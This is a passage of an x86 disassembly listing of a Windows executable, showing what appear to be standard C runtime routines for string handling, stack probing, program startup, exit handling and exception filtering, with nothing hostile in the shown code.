		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_402570	dd offset loc_402580	; DATA XREF: sub_402290+1B7r
					; sub_402290:loc_402474r ...
		dd offset loc_402588
		dd offset loc_402598
		dd offset loc_4025AC
; ---------------------------------------------------------------------------


loc_402580:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402588:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402598:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4025AC:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_402290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4025D0	proc near		; CODE XREF: sub_40159E+8p
					; sub_40371C+DFp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4025F0


loc_4025DC:				; CODE XREF: sub_4025D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4025DC


loc_4025F0:				; CODE XREF: sub_4025D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4025D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402600	proc near		; CODE XREF: sub_401A84+2Dp
					; sub_401A84+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40267A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_402667


loc_402618:				; CODE XREF: sub_402600+52j
					; sub_402600+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_40263A
		test	al, al
		jz	short loc_402634


loc_402629:				; CODE XREF: sub_402600+32j
		mov	al, [esi]
		inc	esi


loc_40262C:				; CODE XREF: sub_402600+3Fj
		cmp	al, dl
		jz	short loc_40263A
		test	al, al
		jnz	short loc_402629


loc_402634:				; CODE XREF: sub_402600+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40263A:				; CODE XREF: sub_402600+23j
					; sub_402600+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_40262C
		lea	edi, [esi-1]


loc_402644:				; CODE XREF: sub_402600+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_402673
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_402618
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_402673
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_402644
		jmp	short loc_402618
; ---------------------------------------------------------------------------


loc_402667:				; CODE XREF: sub_402600+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	sub_402996
; ---------------------------------------------------------------------------


loc_402673:				; CODE XREF: sub_402600+49j
					; sub_402600+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40267A:				; CODE XREF: sub_402600+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_402600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402680	proc near		; CODE XREF: sub_401B08+103p
					; sub_401B08+14Cp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_402699:				; CODE XREF: sub_402680+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_402699
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4026C1
		mov	edx, ds:dword_406F3C


loc_4026C1:				; CODE XREF: sub_402680+39j
					; sub_402680+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4026E1
		test	al, al
		jz	short loc_4026E1
		inc	edx
		jmp	short loc_4026C1
; ---------------------------------------------------------------------------


loc_4026E1:				; CODE XREF: sub_402680+58j
					; sub_402680+5Cj
		mov	ebx, edx


loc_4026E3:				; CODE XREF: sub_402680+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_402707
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_402703
		inc	edx
		jmp	short loc_4026E3
; ---------------------------------------------------------------------------


loc_402703:				; CODE XREF: sub_402680+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_402707:				; CODE XREF: sub_402680+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_406F3C, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_402680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402720	proc near		; CODE XREF: sub_401B08+E9p
					; sub_401B08+270p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_402791
sub_402720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402730	proc near		; CODE XREF: sub_401EF0+108p
					; sub_401EF0+117p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40274C


loc_40273D:				; CODE XREF: sub_402730+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40277F
		test	ecx, 3
		jnz	short loc_40273D


loc_40274C:				; CODE XREF: sub_402730+Bj
					; sub_402730+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40274C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40278E
		test	ah, ah
		jz	short loc_402789
		test	eax, 0FF0000h
		jz	short loc_402784
		test	eax, 0FF000000h
		jz	short loc_40277F
		jmp	short loc_40274C
; ---------------------------------------------------------------------------


loc_40277F:				; CODE XREF: sub_402730+12j
					; sub_402730+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_402784:				; CODE XREF: sub_402730+44j
		lea	edi, [ecx-2]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_402789:				; CODE XREF: sub_402730+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_40278E:				; CODE XREF: sub_402730+39j
		lea	edi, [ecx-4]


loc_402791:				; CODE XREF: sub_402720+5j
					; sub_402730+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4027B6


loc_40279D:				; CODE XREF: sub_402730+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_402808
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40279D
		jmp	short loc_4027B6
; ---------------------------------------------------------------------------


loc_4027B1:				; CODE XREF: sub_402730+9Ej
					; sub_402730+B8j
		mov	[edi], edx
		add	edi, 4


loc_4027B6:				; CODE XREF: sub_402730+6Bj
					; sub_402730+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4027B1
		test	dl, dl
		jz	short loc_402808
		test	dh, dh
		jz	short loc_4027FF
		test	edx, 0FF0000h
		jz	short loc_4027F2
		test	edx, 0FF000000h
		jz	short loc_4027EA
		jmp	short loc_4027B1
; ---------------------------------------------------------------------------


loc_4027EA:				; CODE XREF: sub_402730+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4027F2:				; CODE XREF: sub_402730+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4027FF:				; CODE XREF: sub_402730+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402808:				; CODE XREF: sub_402730+72j
					; sub_402730+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_402730	endp


; =============== S U B	R O U T	I N E =======================================



sub_402810	proc near		; CODE XREF: sub_401E30+19p

arg_0		= dword	ptr  4

		cmp	ds:dword_406CEC, 1
		jle	short loc_40282A
		push	107h
		push	[esp+4+arg_0]
		call	sub_402A4C
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40282A:				; CODE XREF: sub_402810+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_406AE0
		mov	ax, [ecx+eax*2]
		and	eax, 107h
		retn
sub_402810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283E	proc near		; CODE XREF: start+7j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405128
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	ds:dword_4050AC	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_406F64, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_406F60, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_406F5C, ecx
		shr	eax, 10h
		mov	ds:dword_406F58, eax
		xor	esi, esi
		push	esi
		call	sub_403382
		pop	ecx
		test	eax, eax
		jnz	short loc_4028AA
		push	1Ch
		call	sub_402959
		pop	ecx


loc_4028AA:				; CODE XREF: sub_40283E+62j
		mov	[ebp+var_4], esi
		call	sub_4031D7
		call	ds:dword_4050A8	; GetCommandLineA
		mov	ds:dword_407458, eax
		call	sub_4030A5
		mov	ds:dword_406F40, eax
		call	sub_402E58
		call	sub_402D9F
		call	sub_402AC1
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	ds:dword_4050A4	; GetStartupInfoA
		call	sub_402D47
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_4028F7
		movzx	eax, [ebp+var_2C]
		jmp	short loc_4028FA
; ---------------------------------------------------------------------------


loc_4028F7:				; CODE XREF: sub_40283E+B1j
		push	0Ah
		pop	eax


loc_4028FA:				; CODE XREF: sub_40283E+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	ds:dword_4050A0	; GetModuleHandleA
		push	eax
		call	sub_402029
		mov	[ebp+var_60], eax
		push	eax
		call	sub_402AEE
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_402BC3
		pop	ecx
		pop	ecx
		retn
sub_40283E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_402AFF

; =============== S U B	R O U T	I N E =======================================



sub_402934	proc near		; CODE XREF: sub_402D9F+4Ep
					; sub_402D9F+7Dp ...

arg_0		= dword	ptr  4

		cmp	ds:dword_406F48, 1
		jnz	short loc_402942
		call	sub_403590


loc_402942:				; CODE XREF: sub_402934+7j
		push	[esp+arg_0]
		call	sub_4035C9
		push	0FFh
		call	ds:off_406AD0
		pop	ecx
		pop	ecx
		retn
sub_402934	endp


; =============== S U B	R O U T	I N E =======================================



sub_402959	proc near		; CODE XREF: sub_40283E+66p

arg_0		= dword	ptr  4

		cmp	ds:dword_406F48, 1
		jnz	short loc_402967
		call	sub_403590


loc_402967:				; CODE XREF: sub_402959+7j
		push	[esp+arg_0]
		call	sub_4035C9
		pop	ecx
		push	0FFh
		call	ds:dword_4050B0	; ExitProcess
		retn
sub_402959	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402996


loc_402980:				; CODE XREF: sub_402996+17j
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_402996
; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	al, [esp+8]

; =============== S U B	R O U T	I N E =======================================



sub_402996	proc near		; CODE XREF: sub_402600+6Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00402980 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4029BB


loc_4029A8:				; CODE XREF: sub_402996+23j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_402980
		test	cl, cl
		jz	short loc_402A04
		test	edx, 3
		jnz	short loc_4029A8


loc_4029BB:				; CODE XREF: sub_402996+10j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4029C6:				; CODE XREF: sub_402996+5Bj
					; sub_402996+6Aj ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_402A08
		and	eax, 81010100h
		jz	short loc_4029C6
		and	eax, 1010100h
		jnz	short loc_402A02
		and	esi, 80000000h
		jnz	short loc_4029C6


loc_402A02:				; CODE XREF: sub_402996+62j
					; sub_402996+7Bj ...
		pop	esi
		pop	edi


loc_402A04:				; CODE XREF: sub_402996+1Bj
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402A08:				; CODE XREF: sub_402996+54j
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_402A45
		test	al, al
		jz	short loc_402A02
		cmp	ah, bl
		jz	short loc_402A3E
		test	ah, ah
		jz	short loc_402A02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_402A37
		test	al, al
		jz	short loc_402A02
		cmp	ah, bl
		jz	short loc_402A30
		test	ah, ah
		jz	short loc_402A02
		jmp	short loc_4029C6
; ---------------------------------------------------------------------------


loc_402A30:				; CODE XREF: sub_402996+92j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A37:				; CODE XREF: sub_402996+8Aj
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A3E:				; CODE XREF: sub_402996+7Fj
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A45:				; CODE XREF: sub_402996+77j
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_402996	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A4C	proc near		; CODE XREF: sub_402810+12p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_402A6A
		mov	ecx, ds:off_406AE0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_402ABC
; ---------------------------------------------------------------------------


loc_402A6A:				; CODE XREF: sub_402A4C+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_406AE0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_402A8F
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_402A98
; ---------------------------------------------------------------------------


loc_402A8F:				; CODE XREF: sub_402A4C+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_402A98:				; CODE XREF: sub_402A4C+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_40371C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_402AB8
		leave
		retn
; ---------------------------------------------------------------------------


loc_402AB8:				; CODE XREF: sub_402A4C+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_402ABC:				; CODE XREF: sub_402A4C+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_402A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AC1	proc near		; CODE XREF: sub_40283E+93p
		mov	eax, ds:dword_407454
		test	eax, eax
		jz	short loc_402ACC
		call	eax


loc_402ACC:				; CODE XREF: sub_402AC1+7j
		push	offset dword_406010
		push	offset dword_406008
		call	sub_402BA9
		push	offset dword_406004
		push	offset dword_406000
		call	sub_402BA9
		add	esp, 10h
		retn
sub_402AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AEE	proc near		; CODE XREF: sub_40283E+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_402B10
		add	esp, 0Ch
		retn
sub_402AEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AFF	proc near		; CODE XREF: .text:0040292Fp
					; sub_402934+1Cp
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_402B10
		add	esp, 0Ch
		retn
sub_402AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B10	proc near		; CODE XREF: sub_402AEE+8p
					; sub_402AFF+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_406F94, edi
		jnz	short loc_402B2D
		push	[esp+4+arg_0]
		call	ds:dword_4050B8	; GetCurrentProcess
		push	eax
		call	ds:dword_4050B4	; TerminateProcess


loc_402B2D:				; CODE XREF: sub_402B10+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_406F90, edi
		mov	ds:byte_406F8C,	bl
		jnz	short loc_402B81
		mov	eax, ds:dword_407450
		test	eax, eax
		jz	short loc_402B70
		mov	ecx, ds:dword_40744C
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_402B6F


loc_402B5C:				; CODE XREF: sub_402B10+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402B64
		call	eax


loc_402B64:				; CODE XREF: sub_402B10+50j
		sub	esi, 4
		cmp	esi, ds:dword_407450
		jnb	short loc_402B5C


loc_402B6F:				; CODE XREF: sub_402B10+4Aj
		pop	esi


loc_402B70:				; CODE XREF: sub_402B10+3Cj
		push	offset dword_406018
		push	offset dword_406014
		call	sub_402BA9
		pop	ecx
		pop	ecx


loc_402B81:				; CODE XREF: sub_402B10+33j
		push	offset dword_406020
		push	offset dword_40601C
		call	sub_402BA9
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_402BA7
		push	[esp+4+arg_0]
		mov	ds:dword_406F94, edi
		call	ds:dword_4050B0	; ExitProcess


loc_402BA7:				; CODE XREF: sub_402B10+85j
		pop	edi
		retn
sub_402B10	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BA9	proc near		; CODE XREF: sub_402AC1+15p
					; sub_402AC1+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_402BAE:				; CODE XREF: sub_402BA9+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_402BC1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402BBC
		call	eax


loc_402BBC:				; CODE XREF: sub_402BA9+Fj
		add	esi, 4
		jmp	short loc_402BAE
; ---------------------------------------------------------------------------


loc_402BC1:				; CODE XREF: sub_402BA9+9j
		pop	esi
		retn
sub_402BA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BC3	proc near		; CODE XREF: sub_40283E+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_402D04
		test	eax, eax
		pop	ecx
		jz	loc_402CF8
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_402CF8
		cmp	ebx, 5
		jnz	short loc_402BF4
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_402D01
; ---------------------------------------------------------------------------


loc_402BF4:				; CODE XREF: sub_402BC3+23j
		cmp	ebx, 1
		jz	loc_402CF3
		mov	ecx, ds:dword_406F98
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_406F98, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_402CE3
		mov	ecx, ds:dword_406D70
		mov	edx, ds:dword_406D74
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_402C43
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:406D00h[esi*4]


loc_402C3A:				; CODE XREF: sub_402BC3+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_402C3A


loc_402C43:				; CODE XREF: sub_402BC3+69j
		mov	eax, [eax]
		mov	esi, ds:dword_406D7C
		cmp	eax, 0C000008Eh
		jnz	short loc_402C5E
		mov	ds:dword_406D7C, 83h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_402BC3+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_402C71
		mov	ds:dword_406D7C, 81h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C71:				; CODE XREF: sub_402BC3+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_402C84
		mov	ds:dword_406D7C, 84h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C84:				; CODE XREF: sub_402BC3+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_402C97
		mov	ds:dword_406D7C, 85h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C97:				; CODE XREF: sub_402BC3+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_402CAA
		mov	ds:dword_406D7C, 82h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402CAA:				; CODE XREF: sub_402BC3+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_402CBD
		mov	ds:dword_406D7C, 86h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402CBD:				; CODE XREF: sub_402BC3+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_402CCE
		mov	ds:dword_406D7C, 8Ah


loc_402CCE:				; CODE XREF: sub_402BC3+99j
					; sub_402BC3+ACj ...
		push	ds:dword_406D7C
		push	8
		call	ebx	; _hread
		pop	ecx
		mov	ds:dword_406D7C, esi
		pop	ecx
		pop	esi
		jmp	short loc_402CEB
; ---------------------------------------------------------------------------


loc_402CE3:				; CODE XREF: sub_402BC3+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx	; _hread
		pop	ecx


loc_402CEB:				; CODE XREF: sub_402BC3+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_406F98, eax


loc_402CF3:				; CODE XREF: sub_402BC3+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_402D01
; ---------------------------------------------------------------------------


loc_402CF8:				; CODE XREF: sub_402BC3+Fj
					; sub_402BC3+1Aj
		push	[ebp+arg_4]
		call	ds:dword_4050BC	; UnhandledExceptionFilter


loc_402D01:				; CODE XREF: sub_402BC3+2Cj
					; sub_402BC3+133j
		pop	ebx
		pop	ebp
		retn
sub_402BC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D04	proc near		; CODE XREF: sub_402BC3+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_406D78
		cmp	ds:dword_406CF8, edx
		push	esi
		mov	eax, offset dword_406CF8
		jz	short loc_402D31
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:406CF8h[esi*4]


loc_402D26:				; CODE XREF: sub_402D04+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_402D31
		cmp	[eax], edx
		jnz	short loc_402D26


loc_402D31:				; CODE XREF: sub_402D04+16j
					; sub_402D04+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:406CF8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_402D44
		cmp	[eax], edx
		jz	short locret_402D46


loc_402D44:				; CODE XREF: sub_402D04+3Aj
		xor	eax, eax

locret_402D46:				; CODE XREF: sub_402D04+3Ej
		retn
sub_402D04	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D47	proc near		; CODE XREF: sub_40283E+A5p
		cmp	ds:dword_407448, 0
		jnz	short loc_402D55
		call	sub_403C6B


loc_402D55:				; CODE XREF: sub_402D47+7j
		push	esi
		mov	esi, ds:dword_407458
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_402D87


loc_402D62:				; CODE XREF: sub_402D47+33j
					; sub_402D47+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_402D7F
		test	al, al
		jz	short loc_402D7F
		movzx	eax, al
		push	eax
		call	sub_403865
		test	eax, eax
		pop	ecx
		jz	short loc_402D62
		inc	esi
		jmp	short loc_402D62
; ---------------------------------------------------------------------------


loc_402D7F:				; CODE XREF: sub_402D47+21j
					; sub_402D47+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_402D91


loc_402D84:				; CODE XREF: sub_402D47+52j
		inc	esi
		jmp	short loc_402D91
; ---------------------------------------------------------------------------


loc_402D87:				; CODE XREF: sub_402D47+19j
		cmp	al, 20h
		jbe	short loc_402D91


loc_402D8B:				; CODE XREF: sub_402D47+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_402D8B


loc_402D91:				; CODE XREF: sub_402D47+3Bj
					; sub_402D47+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_402D9B
		cmp	al, 20h
		jbe	short loc_402D84


loc_402D9B:				; CODE XREF: sub_402D47+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_402D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D9F	proc near		; CODE XREF: sub_40283E+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_407448, ebx
		push	esi
		push	edi
		jnz	short loc_402DB1
		call	sub_403C6B


loc_402DB1:				; CODE XREF: sub_402D9F+Bj
		mov	esi, ds:dword_406F40
		xor	edi, edi


loc_402DB9:				; CODE XREF: sub_402D9F+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_402DD1
		cmp	al, 3Dh
		jz	short loc_402DC4
		inc	edi


loc_402DC4:				; CODE XREF: sub_402D9F+22j
		push	esi
		call	sub_402210
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_402DB9
; ---------------------------------------------------------------------------


loc_402DD1:				; CODE XREF: sub_402D9F+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_406F74, esi
		jnz	short loc_402DF3
		push	9
		call	sub_402934
		pop	ecx


loc_402DF3:				; CODE XREF: sub_402D9F+4Aj
		mov	edi, ds:dword_406F40
